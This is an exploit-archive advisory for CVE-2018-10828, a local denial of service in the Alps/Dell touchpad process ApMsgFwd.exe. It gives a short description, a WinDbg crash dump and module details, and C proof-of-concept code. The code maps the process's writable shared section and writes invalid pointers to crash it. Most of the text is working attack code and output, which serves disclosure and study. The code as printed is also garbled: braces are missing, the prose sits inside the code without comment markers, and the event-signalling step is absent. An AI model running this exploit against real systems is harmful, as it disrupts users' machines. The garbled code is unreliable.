Dell Touchpad ApMsgFwd.exe Denial Of Service

Dell Touchpad ApMsgFwd.exe suffers from a denial of service vulnerability.

MD5 | 45d63e35402ea4ab4377b717de0e2b34

Title: Dell Touchpad - ApMsgFwd.exe Denial Of Service
Author: Souhail Hammou
Vendor Homepage:
Tested on : Alps Pointing-device Driver
CVE: CVE-2018-10828

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

ApMsgFwd.exe belonging to Dell Touchpad, ALPS Touchpad driver, ALPS pointing-device for VAIO, Thinkpad Ultranav Driver ..etc
allows the current user to map and write to the "ApMsgFwd File Mapping Object" section.
ApMsgFwd.exe uses the data written to the section as arguments to functions.
This causes a denial of service condition when invalid pointers are written to the mapped section.

The crash :
(b88.aa0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00007ffc`06422e08 443830 cmp byte ptr [rax],r14b ds:d05d05d0`5d05d05d=??
0:004> r
rax=d05d05d05d05d05d rbx=00000000000004e4 rcx=000000007fffffff
rdx=0000000000000000 rsi=00000000ffffffff rdi=d05d05d05d05d05d
rip=00007ffc06422e08 rsp=000000000272fae0 rbp=000000000272fb59
r8=0000000000000000 r9=00000000ffffffff r10=0000000000000000
r11=000000000272fbc0 r12=00000000000001f4 r13=0000000000000000
r14=0000000000000000 r15=0000000000563e40
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
00007ffc`06422e08 443830 cmp byte ptr [rax],r14b ds:d05d05d0`5d05d05d=??

0:001> lm v m ApMsgFwd
Browse full module list
start end module name
00000000`00400000 00000000`00415000 ApMsgFwd (no symbols)
Loaded symbol image file: C:\Program Files\DellTPad\ApMsgFwd.exe
Image path: C:\Program Files\DellTPad\ApMsgFwd.exe
Image name: ApMsgFwd.exe
Browse all global symbols functions data
Timestamp: Tue Jul 1 09:03:05 2014 (53B27949)
CheckSum: 00020F5D
ImageSize: 00015000
File version:
Product version:
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0411.04b0
CompanyName: Alps Electric Co., Ltd.
ProductName: ApMsgFwd
InternalName: ApMsgFwd
OriginalFilename: ApMsgFwd.exe
ProductVersion: 8, 1, 0, 44
FileVersion: 8, 1, 0, 44
PrivateBuild: 8, 1, 0, 44
SpecialBuild: 8, 1, 0, 44
FileDescription: ApMsgFwd
LegalCopyright: Copyright (C) 2006-2014 Alps Electric Co., Ltd.
LegalTrademarks: Copyright (C) 2006-2014 Alps Electric Co., Ltd.
Comments: Copyright (C) 2006-2014 Alps Electric Co., Ltd.
int main(int argc, char** argv)
HANDLE ApMpHnd,StartEvtHnd,KeyHnd;
PBYTE MappedBuf;

if ( ! (ApMpHnd = OpenFileMappingA(FILE_MAP_WRITE,FALSE,"ApMsgFwd File Mapping Object") ) )
printf("OpenFileMapping Failed !\n");
goto ret;

if ( ! ( MappedBuf = MapViewOfFile(ApMpHnd,FILE_MAP_WRITE,0,0,0x1A0) ) )
printf("MapViewOfFile Failed !\n");
goto cleanup_0;

StartEvtHnd = OpenEventA(EVENT_MODIFY_STATE,FALSE,"ApMsgFwd Event Start");

if ( ! StartEvtHnd )
printf("OpenEvent Failed !\n");
goto cleanup_1;

*MappedBuf = 9; //switch case 9
*(DWORD*)(MappedBuf + 0x60) = 0x5D05D05D;
*(DWORD*)(MappedBuf + 0x64) = 0xD05D05D0;

/*Wake up the waiting thread*/

return 0;

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